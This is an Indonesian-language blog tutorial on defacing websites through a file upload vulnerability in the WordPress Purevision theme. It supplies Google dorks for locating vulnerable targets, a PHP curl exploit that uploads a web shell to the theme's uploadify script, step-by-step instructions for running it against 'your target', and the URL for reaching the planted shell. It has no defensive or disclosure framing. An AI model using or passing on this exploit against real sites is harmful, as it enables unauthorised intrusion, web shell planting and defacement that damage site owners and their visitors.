Deface Menggunakan Wordpress Themes Purevision File Upload Vulnerability

Kali ini gua mau share Cara Deface Menggunakan Wordpress Themes Purevision File Upload Vulnerability

Bahan :

Xampp : Download 

Google Dork:
inurl:/wp-content/themes/purevision
"index of" /wp-content/themes/purevision

Exploit :

<?php
$uploadfile="shell.php";
$ch = curl_init("http://example.com/wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/themes/purevision/scripts/admin/uploadify/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

Step by Step :

> Buka Xampp, start Apache 7 MySql
> Edit Exploit di atas
- Shell.php = letakan shell di dalam folder xampp [tepatnya di folder Php]
- Example.com = itu adalah link targetmu
> Simpan Exploit di Local Disk C > Xampp > PHP . dengan format apasaja.php
> Run Exploit tadi dengan Cmd ,
perintahnya :
        cd C:/xampp/php
        php namaexploit.php
> Jika Keluarnya angka 1 , maka tandanya exploit sukses atau target vuln

Akses Shell : 
http://www.exemple.com/wp-content/themes/purevision/scripts/admin/uploadify/shell.php

Tweet